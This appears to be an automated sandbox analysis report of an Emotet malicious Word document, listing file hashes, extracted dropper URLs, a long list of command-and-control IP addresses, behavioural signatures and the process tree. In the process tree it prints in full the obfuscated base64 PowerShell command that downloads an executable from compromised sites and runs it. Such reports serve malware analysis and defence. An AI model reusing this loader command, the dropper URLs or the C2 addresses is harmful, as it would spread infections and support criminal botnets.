Analysis
-
max time kernel
135s -
max time network
147s -
platform
windows10_x64 -
resource
win10 -
submitted
28-07-2020 22:01
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae_2020-07-28__220134._doc.doc
Resource
win7v200722
General
-
Target
emotet_e1_f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae_2020-07-28__220134._doc.doc
-
Size
170KB
-
MD5
cf39137cb3cd74df3105321a0bcf4ac2
-
SHA1
b9905463d3b9d7d88f8fd4f5e9575fb647cf4a9d
-
SHA256
f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae
-
SHA512
7358f9454d03a654c1439e8d57eff0913c51a72ee792b8b582b39e66425482e8227c30a435b8d25e2f834250d414cbde41a87f6ccefbfa92ca3acc63791c55e5
Malware Config
Extracted
http://arizonaonsale.com/cgi-bin/VuM64/
https://www.compednet.com/wp-content/Nv55027/
http://eltallerartistico.com/language/Uybj0/
http://classicpaint.net/wp-content/tVS1/
http://closhlab.com/OWN/lUvYIzLMa/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3908 WINWORD.EXE 3908 WINWORD.EXE -
Executes dropped EXE 2 IoCs
Processes:
45.exewlanpref.exepid process 1740 45.exe 2168 wlanpref.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
45.exedescription pid process target process PID 1740 wrote to memory of 2168 1740 45.exe wlanpref.exe PID 1740 wrote to memory of 2168 1740 45.exe wlanpref.exe PID 1740 wrote to memory of 2168 1740 45.exe wlanpref.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/1740-9-0x00000000021F0000-0x00000000021FC000-memory.dmp emotet behavioral2/memory/2168-12-0x0000000002120000-0x000000000212C000-memory.dmp emotet -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
45.exedescription ioc process File opened for modification C:\Windows\SysWOW64\msyuv\wlanpref.exe 45.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE45.exewlanpref.exepid process 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 1740 45.exe 1740 45.exe 2168 wlanpref.exe 2168 wlanpref.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 496 3676 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 496 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.exewlanpref.exepid process 496 powersheLL.exe 496 powersheLL.exe 496 powersheLL.exe 2168 wlanpref.exe 2168 wlanpref.exe 2168 wlanpref.exe 2168 wlanpref.exe 2168 wlanpref.exe 2168 wlanpref.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 10 496 powersheLL.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae_2020-07-28__220134._doc.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\45.exeC:\Users\Admin\45.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\msyuv\wlanpref.exe"C:\Windows\SysWOW64\msyuv\wlanpref.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\45.exe
-
C:\Users\Admin\45.exe
-
C:\Windows\SysWOW64\msyuv\wlanpref.exe
-
memory/1740-9-0x00000000021F0000-0x00000000021FC000-memory.dmpFilesize
48KB
-
memory/2168-12-0x0000000002120000-0x000000000212C000-memory.dmpFilesize
48KB
-
memory/2168-10-0x0000000000000000-mapping.dmp
-
memory/3908-3-0x0000022539AE5000-0x0000022539AEA000-memory.dmpFilesize
20KB
-
memory/3908-6-0x0000022539C57000-0x0000022539C5C000-memory.dmpFilesize
20KB
-
memory/3908-5-0x000002253773B000-0x0000022537740000-memory.dmpFilesize
20KB
-
memory/3908-4-0x0000022539AE5000-0x0000022539AEA000-memory.dmpFilesize
20KB
-
memory/3908-0-0x0000022539AE5000-0x0000022539AEA000-memory.dmpFilesize
20KB
-
memory/3908-2-0x0000022539AEA000-0x0000022539AFB000-memory.dmpFilesize
68KB
-
memory/3908-1-0x0000022539AEA000-0x0000022539AFB000-memory.dmpFilesize
68KB